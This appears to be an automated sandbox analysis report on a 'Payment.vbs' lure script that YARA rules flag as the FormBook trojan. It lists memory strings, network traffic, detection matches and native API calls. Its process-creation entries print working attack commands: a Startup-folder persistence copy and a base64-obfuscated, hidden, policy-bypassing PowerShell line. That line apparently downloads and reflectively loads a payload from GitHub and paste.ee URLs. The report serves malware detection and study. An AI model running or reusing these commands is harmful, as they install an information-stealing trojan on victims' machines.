Source: powershell.exe, 00000005.00000002.2347449551.000001F60688E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore6
Source: powershell.exe, 00000005.00000002.2347449551.000001F6068A9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2508706310.000001875DEBA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2508706310.000001875DECE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2410867830.000001B5E7271000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 00000008.00000002.2410867830.000001B5E776D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://analytics.paste.ee
Source: powershell.exe, 00000008.00000002.2410867830.000001B5E776D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://analytics.paste.ee;
Source: convert.exe, 00000013.00000003.2915997217.0000000007ED8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: powershell.exe, 00000008.00000002.2410867830.000001B5E776D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdnjs.cloudflare.com
Source: powershell.exe, 00000008.00000002.2410867830.000001B5E776D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdnjs.cloudflare.com;
Source: convert.exe, 00000013.00000003.2915997217.0000000007ED8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: convert.exe, 00000013.00000003.2915997217.0000000007ED8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: powershell.exe, 00000008.00000002.2410867830.000001B5E8BBF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000008.00000002.2410867830.000001B5E8BBF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000008.00000002.2410867830.000001B5E8BBF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: convert.exe, 00000013.00000003.2915997217.0000000007ED8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: convert.exe, 00000013.00000003.2915997217.0000000007ED8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: convert.exe, 00000013.00000003.2915997217.0000000007ED8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: powershell.exe, 00000008.00000002.2410867830.000001B5E776D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://fonts.googleapis.com
Source: powershell.exe, 00000008.00000002.2410867830.000001B5E776D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://fonts.gstatic.com;
Source: edb.log.27.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod1C:
Source: svchost.exe, 0000001B.00000003.2994764845.0000021B43050000.00000004.00000800.00020000.00000000.sdmp, edb.log.27.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV21C:
Source: powershell.exe, 00000008.00000002.2410867830.000001B5E8B37000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000008.00000002.2410867830.000001B5E8428000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: powershell.exe, 00000005.00000002.2350094223.000001F61E99F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://go.microsoft.co
Source: convert.exe, 00000013.00000002.2974673632.0000000002F5A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srfclient_id=00000000480728C5&scope=service::ssl.live.com::
Source: convert.exe, 00000013.00000003.2911076657.0000000007EB5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srfhttps://login.live.com/oauth20_desktop.srfhttps://login.
Source: convert.exe, 00000013.00000002.2974673632.0000000002F83000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_d
Source: convert.exe, 00000013.00000002.2974673632.0000000002F83000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srf&lw=1&fl=wld2)
Source: convert.exe, 00000013.00000002.2974673632.0000000002F83000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srf?lc=1033
Source: convert.exe, 00000013.00000002.2974673632.0000000002F5A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srflc=1033
Source: convert.exe, 00000013.00000002.2974673632.0000000002F83000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srf?client_id=00000000480728C5&redirect_uri=https://login.live
Source: convert.exe, 00000013.00000002.2974673632.0000000002F5A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srfclient_id=00000000480728C5&redirect_uri=https://login.live.
Source: powershell.exe, 00000008.00000002.2445760088.000001B5F72E3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2410867830.000001B5E8BBF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: powershell.exe, 00000008.00000002.2410867830.000001B5E894F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oneget.org
Source: powershell.exe, 00000008.00000002.2410867830.000001B5E894F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oneget.orgX
Source: powershell.exe, 00000008.00000002.2410867830.000001B5E7681000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://paste.ee
Source: powershell.exe, 00000008.00000002.2410867830.000001B5E7681000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://paste.ee/d/SKF1O/0
Source: powershell.exe, 00000008.00000002.2410867830.000001B5E8901000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercont
Source: powershell.exe, 00000008.00000002.2410867830.000001B5E7492000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2410867830.000001B5E8611000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.com
Source: powershell.exe, 00000008.00000002.2410867830.000001B5E7492000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2410867830.000001B5E8611000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.com/NoDetectOn/NoDetectOn/refs/heads/main/DetahNoth-V.txt
Source: powershell.exe, 00000008.00000002.2410867830.000001B5E7492000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.com/NoDetectOn/NoDetectOn/refs/heads/main/DetahNoth-V.txth3k;
Source: powershell.exe, 00000008.00000002.2410867830.000001B5E776D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://secure.gravatar.com
Source: powershell.exe, 00000008.00000002.2410867830.000001B5E776D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://themes.googleusercontent.com
Source: convert.exe, 00000013.00000003.2915997217.0000000007ED8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: powershell.exe, 00000008.00000002.2410867830.000001B5E776D000.00000004.00000800.00020000.00000000.sdmp, convert.exe, 00000013.00000002.2977602776.0000000004074000.00000004.10000000.00040000.00000000.sdmp, mNqSPruzCXM.exe, 00000018.00000002.3537079576.0000000002984000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.3534781987.000000002F5F4000.00000004.80000000.00040000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: convert.exe, 00000013.00000003.2915997217.0000000007ED8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: powershell.exe, 00000008.00000002.2410867830.000001B5E776D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com;
Source: powershell.exe, 00000008.00000002.2410867830.000001B5E776D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com

Source: unknown	Network traffic detected: HTTP traffic on port 49842 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823

Source: unknown	HTTPS traffic detected: 185.199.111.133:443 -> 192.168.2.6:49823 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:49842 version: TLS 1.2

E-Banking Fraud

Yara detected FormBook

Source: Yara match	File source: 10.2.appidtel.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.appidtel.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000018.00000002.3538540839.00000000049D0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2728680734.0000000004690000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2728578874.0000000003C20000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.2976888806.00000000033F0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2727369839.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.3536826392.00000000038F0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.2976926414.0000000003440000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

System Summary

Malicious sample detected (through community Yara rule)

Source: 10.2.appidtel.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 10.2.appidtel.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000018.00000002.3538540839.00000000049D0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 0000000A.00000002.2728680734.0000000004690000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 0000000A.00000002.2728578874.0000000003C20000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000013.00000002.2976888806.00000000033F0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 0000000A.00000002.2727369839.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000011.00000002.3536826392.00000000038F0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000013.00000002.2976926414.0000000003440000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: Process Memory Space: powershell.exe PID: 2436, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 3768, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen

Sample has a suspicious name (potential lure to open the executable)

Source: Payment.vbs

Static file information: Suspicious name

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 10 & powershell -command [System.IO.File]::Copy('C:\Windows\system32\Payment.vbs', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sbv.emariehnip.vbs')')
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -command [System.IO.File]::Copy('C:\Windows\system32\Payment.vbs', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sbv.emariehnip.vbs')')
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'SWV4ICgoKCdoJysnUmZ1JysncmwgPSBoM2todHRwczonKycvLycrJ3JhJysndy4nKydnaXRodScrJ2J1Jysnc2VyJysnY29udGVuJysndC5jb20nKycvTm8nKydEZXRlY3RPJysnbi9Ob0RldGVjdE9uL3JlZnMvaGVhZHMvbWFpbi9EZScrJ3RhaE5vdGgtJysnVi50eHRoM2s7IGhSJysnZmInKydhc2U2NCcrJ0NvbnRlbnQgPScrJyAoTmUnKyd3LU9iamVjdCBTeXN0ZScrJ20uTicrJ2V0LldlYicrJ0NsaWVudCkuRG93bmxvYWRTdHInKydpbmcnKycoaFInKydmdXJsKTsgaFInKydmYmluYXInKyd5QycrJ29udGVudCA9IFtTJysneScrJ3N0ZW0uQ29udmVyJysndF06JysnOkZyb21CYScrJ3MnKydlNjRTdHInKydpbmcoaCcrJ1JmYicrJ2EnKydzJysnZTY0Q28nKydudGVudCcrJyknKyc7IGgnKydSZmEnKydzcycrJ2VtYmx5ID0gW1JlZmxlJysnY3Rpb24nKycuQXNzZW1ibHknKyddOjpMb2FkKGhSZmJpbmFyeUNvbnRlbnQpOyBbZCcrJ25saWInKycuSU8uSG9tZV06OlZBSSgnKydDdXQwL08nKycxRktTL2QvZWUuZXRzYXAnKycvLzpzcHR0aCcrJ0N1dCwgQ3UnKyd0ZCcrJ2VzYXRpdmFkb0N1dCwnKycgJysnQ3UnKyd0ZGVzYXRpdmFkb0N1dCwgJysnQ3V0ZGUnKydzYXRpdmFkb0N1dCwgQ3V0ZCcrJ2VzJysnYXQnKydpdmEnKydkbycrJ0N1dCwnKycgQycrJ3V0MUMnKyd1dCwgQ3V0YXBwaWR0ZWxDdXQpJykgIC1jUkVwbEFjRSdDdXQnLFtjSEFSXTM0ICAtUkVwTEFDZSAgKFtjSEFSXTEwNCtbY0hBUl04MitbY0hBUl0xMDIpLFtjSEFSXTM2ICAtUkVwTEFDZShbY0hBUl0xMDQrW2NIQVJdNTErW2NIQVJdMTA3KSxbY0hBUl0zOSkp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 10 & powershell -command [System.IO.File]::Copy('C:\Windows\system32\Payment.vbs', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sbv.emariehnip.vbs')')	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'SWV4ICgoKCdoJysnUmZ1JysncmwgPSBoM2todHRwczonKycvLycrJ3JhJysndy4nKydnaXRodScrJ2J1Jysnc2VyJysnY29udGVuJysndC5jb20nKycvTm8nKydEZXRlY3RPJysnbi9Ob0RldGVjdE9uL3JlZnMvaGVhZHMvbWFpbi9EZScrJ3RhaE5vdGgtJysnVi50eHRoM2s7IGhSJysnZmInKydhc2U2NCcrJ0NvbnRlbnQgPScrJyAoTmUnKyd3LU9iamVjdCBTeXN0ZScrJ20uTicrJ2V0LldlYicrJ0NsaWVudCkuRG93bmxvYWRTdHInKydpbmcnKycoaFInKydmdXJsKTsgaFInKydmYmluYXInKyd5QycrJ29udGVudCA9IFtTJysneScrJ3N0ZW0uQ29udmVyJysndF06JysnOkZyb21CYScrJ3MnKydlNjRTdHInKydpbmcoaCcrJ1JmYicrJ2EnKydzJysnZTY0Q28nKydudGVudCcrJyknKyc7IGgnKydSZmEnKydzcycrJ2VtYmx5ID0gW1JlZmxlJysnY3Rpb24nKycuQXNzZW1ibHknKyddOjpMb2FkKGhSZmJpbmFyeUNvbnRlbnQpOyBbZCcrJ25saWInKycuSU8uSG9tZV06OlZBSSgnKydDdXQwL08nKycxRktTL2QvZWUuZXRzYXAnKycvLzpzcHR0aCcrJ0N1dCwgQ3UnKyd0ZCcrJ2VzYXRpdmFkb0N1dCwnKycgJysnQ3UnKyd0ZGVzYXRpdmFkb0N1dCwgJysnQ3V0ZGUnKydzYXRpdmFkb0N1dCwgQ3V0ZCcrJ2VzJysnYXQnKydpdmEnKydkbycrJ0N1dCwnKycgQycrJ3V0MUMnKyd1dCwgQ3V0YXBwaWR0ZWxDdXQpJykgIC1jUkVwbEFjRSdDdXQnLFtjSEFSXTM0ICAtUkVwTEFDZSAgKFtjSEFSXTEwNCtbY0hBUl04MitbY0hBUl0xMDIpLFtjSEFSXTM2ICAtUkVwTEFDZShbY0hBUl0xMDQrW2NIQVJdNTErW2NIQVJdMTA3KSxbY0hBUl0zOSkp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -command [System.IO.File]::Copy('C:\Windows\system32\Payment.vbs', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sbv.emariehnip.vbs')')	Jump to behavior

Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_0042C853 NtClose,	10_2_0042C853
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039435C0 NtCreateMutant,LdrInitializeThunk,	10_2_039435C0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_03942B60 NtClose,LdrInitializeThunk,	10_2_03942B60
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_03942DF0 NtQuerySystemInformation,LdrInitializeThunk,	10_2_03942DF0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_03942C70 NtFreeVirtualMemory,LdrInitializeThunk,	10_2_03942C70
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_03944340 NtSetContextThread,	10_2_03944340
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_03943090 NtSetValueKey,	10_2_03943090
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_03943010 NtOpenDirectoryObject,	10_2_03943010
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_03944650 NtSuspendThread,	10_2_03944650
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_03942B80 NtQueryInformationFile,	10_2_03942B80
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_03942BA0 NtEnumerateValueKey,	10_2_03942BA0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_03942BF0 NtAllocateVirtualMemory,	10_2_03942BF0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_03942BE0 NtQueryValueKey,	10_2_03942BE0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_03942AB0 NtWaitForSingleObject,	10_2_03942AB0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_03942AD0 NtReadFile,	10_2_03942AD0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_03942AF0 NtWriteFile,	10_2_03942AF0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039439B0 NtGetContextThread,	10_2_039439B0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_03942F90 NtProtectVirtualMemory,	10_2_03942F90
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_03942FB0 NtResumeThread,	10_2_03942FB0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_03942FA0 NtQuerySection,	10_2_03942FA0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_03942FE0 NtCreateFile,	10_2_03942FE0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_03942F30 NtCreateSection,	10_2_03942F30
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_03942F60 NtCreateProcessEx,	10_2_03942F60
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_03942E80 NtReadVirtualMemory,	10_2_03942E80
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_03942EA0 NtAdjustPrivilegesToken,	10_2_03942EA0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_03942EE0 NtQueueApcThread,	10_2_03942EE0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_03942E30 NtWriteVirtualMemory,	10_2_03942E30
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_03942DB0 NtEnumerateKey,	10_2_03942DB0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_03942DD0 NtDelayExecution,	10_2_03942DD0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_03942D10 NtMapViewOfSection,	10_2_03942D10
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_03943D10 NtOpenProcessToken,	10_2_03943D10
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_03942D00 NtSetInformationFile,	10_2_03942D00
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_03942D30 NtUnmapViewOfSection,	10_2_03942D30
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_03943D70 NtOpenThread,	10_2_03943D70
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_03942CA0 NtQueryInformationToken,	10_2_03942CA0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_03942CC0 NtQueryVirtualMemory,	10_2_03942CC0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_03942CF0 NtOpenProcess,	10_2_03942CF0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_03942C00 NtQueryInformationProcess,	10_2_03942C00
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_03942C60 NtCreateKey,	10_2_03942C60
Source: C:\Windows\SysWOW64\convert.exe	Code function: 19_2_036D4340 NtSetContextThread,LdrInitializeThunk,	19_2_036D4340
Source: C:\Windows\SysWOW64\convert.exe	Code function: 19_2_036D4650 NtSuspendThread,LdrInitializeThunk,	19_2_036D4650
Source: C:\Windows\SysWOW64\convert.exe	Code function: 19_2_036D35C0 NtCreateMutant,LdrInitializeThunk,	19_2_036D35C0
Source: C:\Windows\SysWOW64\convert.exe	Code function: 19_2_036D2B60 NtClose,LdrInitializeThunk,	19_2_036D2B60
Source: C:\Windows\SysWOW64\convert.exe	Code function: 19_2_036D2BE0 NtQueryValueKey,LdrInitializeThunk,	19_2_036D2BE0
Source: C:\Windows\SysWOW64\convert.exe	Code function: 19_2_036D2BF0 NtAllocateVirtualMemory,LdrInitializeThunk,	19_2_036D2BF0
Source: C:\Windows\SysWOW64\convert.exe	Code function: 19_2_036D2BA0 NtEnumerateValueKey,LdrInitializeThunk,	19_2_036D2BA0
Source: C:\Windows\SysWOW64\convert.exe	Code function: 19_2_036D2AF0 NtWriteFile,LdrInitializeThunk,	19_2_036D2AF0
Source: C:\Windows\SysWOW64\convert.exe	Code function: 19_2_036D2AD0 NtReadFile,LdrInitializeThunk,	19_2_036D2AD0
Source: C:\Windows\SysWOW64\convert.exe	Code function: 19_2_036D39B0 NtGetContextThread,LdrInitializeThunk,	19_2_036D39B0
Source: C:\Windows\SysWOW64\convert.exe	Code function: 19_2_036D2F30 NtCreateSection,LdrInitializeThunk,	19_2_036D2F30
Source: C:\Windows\SysWOW64\convert.exe	Code function: 19_2_036D2FE0 NtCreateFile,LdrInitializeThunk,	19_2_036D2FE0
Source: C:\Windows\SysWOW64\convert.exe	Code function: 19_2_036D2FB0 NtResumeThread,LdrInitializeThunk,	19_2_036D2FB0
Source: C:\Windows\SysWOW64\convert.exe	Code function: 19_2_036D2EE0 NtQueueApcThread,LdrInitializeThunk,	19_2_036D2EE0
Source: C:\Windows\SysWOW64\convert.exe	Code function: 19_2_036D2E80 NtReadVirtualMemory,LdrInitializeThunk,	19_2_036D2E80
Source: C:\Windows\SysWOW64\convert.exe	Code function: 19_2_036D2D30 NtUnmapViewOfSection,LdrInitializeThunk,	19_2_036D2D30
Source: C:\Windows\SysWOW64\convert.exe	Code function: 19_2_036D2D10 NtMapViewOfSection,LdrInitializeThunk,	19_2_036D2D10
Source: C:\Windows\SysWOW64\convert.exe	Code function: 19_2_036D2DF0 NtQuerySystemInformation,LdrInitializeThunk,	19_2_036D2DF0
Source: C:\Windows\SysWOW64\convert.exe	Code function: 19_2_036D2DD0 NtDelayExecution,LdrInitializeThunk,	19_2_036D2DD0
Source: C:\Windows\SysWOW64\convert.exe	Code function: 19_2_036D2C60 NtCreateKey,LdrInitializeThunk,	19_2_036D2C60
Source: C:\Windows\SysWOW64\convert.exe	Code function: 19_2_036D2C70 NtFreeVirtualMemory,LdrInitializeThunk,	19_2_036D2C70
Source: C:\Windows\SysWOW64\convert.exe	Code function: 19_2_036D2CA0 NtQueryInformationToken,LdrInitializeThunk,	19_2_036D2CA0
Source: C:\Windows\SysWOW64\convert.exe	Code function: 19_2_036D3010 NtOpenDirectoryObject,	19_2_036D3010
Source: C:\Windows\SysWOW64\convert.exe	Code function: 19_2_036D3090 NtSetValueKey,	19_2_036D3090
Source: C:\Windows\SysWOW64\convert.exe	Code function: 19_2_036D2B80 NtQueryInformationFile,	19_2_036D2B80
Source: C:\Windows\SysWOW64\convert.exe	Code function: 19_2_036D2AB0 NtWaitForSingleObject,	19_2_036D2AB0
Source: C:\Windows\SysWOW64\convert.exe	Code function: 19_2_036D2F60 NtCreateProcessEx,	19_2_036D2F60
Source: C:\Windows\SysWOW64\convert.exe	Code function: 19_2_036D2FA0 NtQuerySection,	19_2_036D2FA0
Source: C:\Windows\SysWOW64\convert.exe	Code function: 19_2_036D2F90 NtProtectVirtualMemory,	19_2_036D2F90
Source: C:\Windows\SysWOW64\convert.exe	Code function: 19_2_036D2E30 NtWriteVirtualMemory,	19_2_036D2E30
Source: C:\Windows\SysWOW64\convert.exe	Code function: 19_2_036D2EA0 NtAdjustPrivilegesToken,	19_2_036D2EA0
Source: C:\Windows\SysWOW64\convert.exe	Code function: 19_2_036D3D70 NtOpenThread,	19_2_036D3D70
Source: C:\Windows\SysWOW64\convert.exe	Code function: 19_2_036D2D00 NtSetInformationFile,	19_2_036D2D00
Source: C:\Windows\SysWOW64\convert.exe	Code function: 19_2_036D3D10 NtOpenProcessToken,	19_2_036D3D10
Source: C:\Windows\SysWOW64\convert.exe	Code function: 19_2_036D2DB0 NtEnumerateKey,	19_2_036D2DB0
Source: C:\Windows\SysWOW64\convert.exe	Code function: 19_2_036D2C00 NtQueryInformationProcess,	19_2_036D2C00
Source: C:\Windows\SysWOW64\convert.exe	Code function: 19_2_036D2CF0 NtOpenProcess,	19_2_036D2CF0
Source: C:\Windows\SysWOW64\convert.exe	Code function: 19_2_036D2CC0 NtQueryVirtualMemory,	19_2_036D2CC0
Source: C:\Windows\SysWOW64\convert.exe	Code function: 19_2_0356F9F8 NtSetContextThread,	19_2_0356F9F8
Source: C:\Windows\SysWOW64\convert.exe	Code function: 19_2_0356F02A NtQueryInformationProcess,NtReadVirtualMemory,	19_2_0356F02A
Source: C:\Windows\SysWOW64\convert.exe	Code function: 19_2_0356F038 NtQueryInformationProcess,	19_2_0356F038

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_00007FFD34632ED6	5_2_00007FFD34632ED6
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_00007FFD3463169F	5_2_00007FFD3463169F
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_00007FFD346338F2	5_2_00007FFD346338F2
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_00007FFD34642B0A	6_2_00007FFD34642B0A
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00007FFD346250AD	8_2_00007FFD346250AD
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00007FFD346228B5	8_2_00007FFD346228B5
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00007FFD3462520D	8_2_00007FFD3462520D
